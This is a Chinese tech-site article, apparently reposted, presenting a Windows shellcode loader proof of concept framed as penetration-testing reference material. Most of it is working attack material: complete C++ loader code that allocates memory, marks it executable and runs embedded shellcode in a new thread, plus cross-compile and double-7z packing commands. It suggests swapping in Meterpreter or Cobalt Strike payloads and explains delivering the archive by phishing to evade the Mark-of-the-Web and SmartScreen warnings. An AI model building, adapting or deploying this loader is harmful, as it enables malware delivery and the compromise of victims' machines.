游乐游手机版
首页/AI教程/文章详情

Windows渗透测试载荷加载器POC工具集

时间:2026-06-18 16:20
一个Windows平台上的Shellcode加载器概念验证,实现内存分配、页面权限修改、线程创建等核心流程。利用Windows24 09版本前MotW缺失漏洞,通过压缩文件诱导执行。提供MinGW-w64跨平台编译命令与7z体积优化,适用于安全研究与渗透测试参考。

Windows Shellcode 加载器 PoC 概念验证

这是一款针对 Windows 平台的 Shellcode 加载器概念验证实现,完整覆盖了内存分配、页面权限修改、线程创建等核心技术环节,并附带了详细的编译与打包流程,非常适合作为安全研究或渗透测试的参考示例。

Windows 渗透测试载荷加载器 POC 工具集

功能特性

该 PoC 集成了一系列关键能力:

  • Shellcode 执行:首先通过 VirtualAlloc 分配可读写内存区域,接着调用 RtlMoveMemory 将载荷复制到该区域,最后使用 VirtualProtect 将内存权限修改为可执行可读,形成一套完整的内存中代码加载流程。
  • 线程注入:利用 CreateThread 创建新线程,从载荷入口处开始执行;再通过 WaitForSingleObject 等待线程结束,整个过程简洁高效。
  • 绕过 MotW 机制:Windows 24.09 版本之前存在 MotW(Mark of the Web)缺失漏洞,从互联网下载的文件不会触发 SmartScreen 警告。该 PoC 借助此漏洞,将载荷打包成压缩文件诱导用户手动运行——这是典型的社会工程学攻击路径。
  • MinGW-w64 编译支持:提供了完整的跨平台编译命令,支持静态链接生成独立 Windows 可执行文件,无需依赖外部 DLL。
  • 载荷体积优化:编译后使用 7z 进行两次压缩,大幅减小文件体积,便于通过邮件、即时通讯等渠道传播测试。

安装指南

系统要求

  • 目标执行环境:Windows 操作系统
  • 编译环境:Linux / macOS / Windows 均可(需安装 MinGW-w64 工具链)
  • 压缩工具:7-Zip

编译环境配置(以 Linux 为例)

# 安装 MinGW-w64
sudo apt-get install mingw-w64
# 安装 7-Zip
sudo apt-get install p7zip-full

编译步骤

# 使用 MinGW-w64 编译 C++ 代码
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static
# 对生成的 exe 进行两次 7z 压缩(减小体积)
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z

使用说明

代码结构解析

核心流程共五步,每步调用的 API 及参数已在注释中明确标注:

  1. 内存分配VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) 在进程虚拟地址空间中开辟一块可读写内存区域。
  2. 载荷写入RtlMoveMemory(payload_mem, p, len) 将 Shellcode 字节数组复制到刚分配的内存。
  3. 权限提升VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect) 将内存页权限改为可执行可读。
  4. 线程创建CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0) 新线程从载荷入口点开始运行。
  5. 等待完成WaitForSingleObject(th, -1) 主线程等待子线程执行完毕再退出。

代码本身并不复杂,但将这些 API 串联起来,就构成了典型的 Shellcode 加载器模板。

Shellcode 说明

PoC 中附带的 Shellcode 用于启动 calc.exe(计算器),底层调用的是 WinExec 函数。在实际攻击场景中,只需将 p 数组中的字节码替换为任意目标 Shellcode 即可,例如 meterpretercobalt strike 的 Payload。

载荷替换方法

unsigned char p[] = {
    // 在此处替换为自定义 Shellcode 字节数组
    0xFC, 0x48, 0x83, 0xE4, ...
};
unsigned int len = sizeof(p);

核心代码

Shellcode 加载器主程序

#include 
#include 
#include 
#include 

int main() {
    DWORD oldprotect = 0;

    // 定义 Shellcode 载荷(calc.exe 启动代码)
    unsigned char p[] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
        0x65, 0x78, 0x65, 0x00
    };
    unsigned int len = sizeof(p);

    // 步骤1:分配可读写内存
    void *payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 步骤2:将 Shellcode 复制到分配的内存
    RtlMoveMemory(payload_mem, p, len);
    // 步骤3:修改内存权限为可执行可读
    BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
    // 步骤4:创建线程执行 Shellcode
    if (rv != 0) {
        HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}

编译与打包脚本

# 使用 MinGW-w64 进行交叉编译
# -s: 去除符号表,减小文件体积
# -static: 静态链接,避免依赖外部 DLL
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static

# 两次 7z 压缩,进一步减小体积
# 由于该漏洞需要用户交互,压缩文件便于通过社交工程方式诱导执行
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z

安全防护绕过说明

所谓的 MotW(Mark of the Web),是 Windows 为从互联网下载的文件添加的一种标记。当文件带有此标记时,运行时会触发 SmartScreen 和安全警告,提醒用户注意风险。然而,在 Windows 24.09 版本之前,这一机制存在缺失——系统不会自动给下载的文件附加 MotW,因此压缩包中的 exe 直接运行时也不会弹出警告。攻击者正是利用这一点,将载荷包装成压缩文件,通过钓鱼邮件或即时消息诱导受害者手动点击执行,从而完成载荷加载。

从技术演进角度看,这类方法将社会工程学与系统漏洞相结合,是安全研究和渗透测试中典型的攻击路径。对于企业和个人用户而言,最直接的防御措施就是及时更新 Windows 系统,确保 MotW 保护机制始终处于开启状态。

来源:https://juejin.cn/post/7652180405778202634
上一篇AI Agent设计与实战深度解析三大任务链路与四大智能体范式 下一篇从IDC到云原生:嘉银科技用PolarDB+AI重构金融数据底座
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
Windows Docker Desktop RabbitMQ生产级部署完整指南
AI教程 · 2026-06-29

Windows Docker Desktop RabbitMQ生产级部署完整指南

前言 在 Windows 本地开发环境中,直接安装 RabbitMQ 确实颇为周折:需要单独配置 Erlang 运行环境、手动管理环境变量、服务启停全凭手工操作。更令人困扰的是,版本兼容冲突、端口占用、环境不一致等问题层出不穷。笔者见过不少开发者为搭建环境就得耗费整整半天时间。 相比之下,借助 Do

AI搜索重构制造业采购逻辑的阿里云企业级GEOCMS优化实践
AI教程 · 2026-06-29

AI搜索重构制造业采购逻辑的阿里云企业级GEOCMS优化实践

先分享一个切实感受。过去两年,我们与福建制造企业合作较为频繁,发现一个非常突出的现象:超过80%的企业官网,产品参数仍然存放在PDF或图片中。AI爬虫?根本无法抓取。这些企业技术实力不弱、资质证照齐全、应用案例也丰富,但在AI搜索这一全新战场上,它们几乎处于隐身状态。 一、一个正在发生的行业变化 A

阿里云Token Plan团队版功能价格与省钱购买指南
AI教程 · 2026-06-29

阿里云Token Plan团队版功能价格与省钱购买指南

阿里云百炼近期推出了名为“Token Plan 团队版”的全新服务,这一服务专为企业与开发者量身打造,定位为AI大模型订阅平台。通过引入Credits作为统一计量单位,将文本生成、图像生成等多模态AI能力纳入单一计费体系,同时无缝兼容主流AI编程工具及智能体(Agent)生态系统。其核心亮点包括:全

阿里云物联网.NET Core客户端位置信息上报
AI教程 · 2026-06-29

阿里云物联网.NET Core客户端位置信息上报

阿里云物联网平台的位置服务并非一个完全独立的功能模块。位置信息可包含二维坐标与三维坐标,而位置数据的来源本质上是借助设备属性进行上传。换言之,若要让设备上报位置,您需先将其视为一个普通属性进行处理。 1)添加二维位置数据 操作过程十分简洁。进入数据分析 → 空间数据可视化 → 二维数据,点击添加,将

年阿里云服务器选型配置与网站部署全攻略
AI教程 · 2026-06-29

年阿里云服务器选型配置与网站部署全攻略

2026年,阿里云服务器生态已高度成熟,形成了清晰的轻量应用服务器与ECS云服务器两大产品阵营。无论你是计划搭建个人博客、企业官网,还是运营电商平台、进行应用开发,基本都能找到理想的解决方案。本指南将从服务器选型、配置选择、部署流程到安全运维,系统梳理2026年最实用的操作要点,帮助你少走弯路,让网